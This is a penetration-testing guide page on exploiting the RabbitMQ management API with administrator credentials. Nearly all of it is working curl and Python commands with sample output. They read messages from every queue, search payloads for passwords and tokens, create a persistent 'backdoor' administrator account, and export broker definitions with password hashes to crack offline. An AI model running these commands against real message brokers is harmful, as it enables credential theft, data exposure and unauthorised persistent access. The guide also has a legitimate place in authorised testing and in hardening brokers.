# RabbitMQ Management API Exploitation

- **URL:** https://hackindex.io/services/amqp/exploitation/rabbitmq-management-api-exploitation
- **Path:** AMQP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/amqp/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

Administrator access to the RabbitMQ management API provides full control over the message broker: reading queued messages, creating new users, modifying permissions, and accessing all vhost configurations. Application messages in queues often contain authentication tokens, session data, internal API calls, and credentials passed between services. Confirm valid administrator credentials through [default credential testing](https://hackindex.io/services/amqp/vulnerability-discovery/rabbitmq-default-credentials) before proceeding.

- Read Messages from a Queue
- Harvest All Queues Across All Vhosts
- Search Messages for Sensitive Content
- Create a New Administrator Account
- Dump Full Broker Configuration

## Read Messages from a Queue

The management API provides a direct message reading endpoint. Messages are base64-encoded in the response:

```bash
curl -sk -u "$USER:$PASSWORD" -X POST http://$TARGET_IP:15672/api/queues/%2F/task_queue/get \
  -H 'Content-Type: application/json' \
  -d '{"count":10,"ackmode":"ack_requeue_true","encoding":"auto","truncate":50000}'
# [{"payload_bytes":156,"redelivered":false,"exchange":"","routing_key":"task_queue","message_count":141,"properties":{},"payload":"{\"task_id\":\"abc123\",\"token\":\"eyJhbGciOiJIUzI1NiJ9...\"}","payload_encoding":"string"}]
```

Use `ack_requeue_true` to read messages without consuming them: they stay in the queue and are not lost. Never use `ack_requeue_false` unless you intend to permanently remove messages from production queues.

## Harvest All Queues Across All Vhosts

Iterate through all vhosts and queues and dump messages from each:

```bash
# Get all queues with vhost and message count
curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/queues | python3 -c "
import sys, json
queues = json.load(sys.stdin)
for q in queues:
    print(f\"{q['vhost']}\t{q['name']}\t{q.get('messages',0)} messages\")
" | sort -k3 -rn
# payments	payment_events	8 messages
# /	task_queue	142 messages
# production	user_sessions	3 messages
```

```bash
VHOST='payments'
QUEUE='payment_events'
VHOST_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$VHOST', safe=''))")
curl -sk -u "$USER:$PASSWORD" -X POST \
  "http://$TARGET_IP:15672/api/queues/$VHOST_ENC/$QUEUE/get" \
  -H 'Content-Type: application/json' \
  -d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}' | python3 -m json.tool
```

## Search Messages for Sensitive Content

```bash
curl -sk -u "$USER:$PASSWORD" -X POST http://$TARGET_IP:15672/api/queues/%2F/task_queue/get \
  -H 'Content-Type: application/json' \
  -d '{"count":500,"ackmode":"ack_requeue_true","encoding":"auto"}' | \
  python3 -c "
import sys, json, re
messages = json.load(sys.stdin)
for m in messages:
    payload = m.get('payload','')
    if re.search(r'(password|token|secret|key|credential|api)', payload, re.I):
        print(payload)
"
# {"user":"john.smith","password":"P@ssword2026!","action":"login"}
# {"api_token":"sk-prod-xK2aB1cD3eF4gH5i","service":"payment-gateway"}
```

## Create a New Administrator Account

With admin access you can create a persistent backdoor account for continued access:

```bash
# Create new admin user
curl -sk -u "$USER:$PASSWORD" -X PUT http://$TARGET_IP:15672/api/users/pentestuser \
  -H 'Content-Type: application/json' \
  -d '{"password":"Pentest123!","tags":"administrator"}'
```

```bash
# Grant full permissions on default vhost
curl -sk -u "$USER:$PASSWORD" -X PUT http://$TARGET_IP:15672/api/permissions/%2F/pentestuser \
  -H 'Content-Type: application/json' \
  -d '{"configure":".*","write":".*","read":".*"}'
```

> [!CAUTION]
> Remove any created accounts before engagement close. Document the exact username and creation time. User creation on a production broker has operational impact if the application depends on specific access controls.

## Dump Full Broker Configuration

The definitions export contains all users, vhosts, permissions, exchanges, queues, and bindings in a single JSON file:

```bash
curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/definitions > /tmp/rabbitmq_definitions.json
cat /tmp/rabbitmq_definitions.json | python3 -m json.tool | grep -iE '"password_hash"|"name"' | head -30
# "name": "admin",
# "password_hash": "base64encodedhashere==",
# "name": "app_user",
# "password_hash": "base64encodedhashere==",
```

RabbitMQ password hashes use a salted SHA-256 or SHA-512 scheme. The hash format is base64-encoded and can be cracked offline. The definitions file also reveals all exchange and queue names across all vhosts: useful when direct API enumeration was incomplete.

## References

- [RabbitMQ Management HTTP API](https://www.rabbitmq.com/docs/management#http-api) - Full API reference including queue get, user management, and definitions export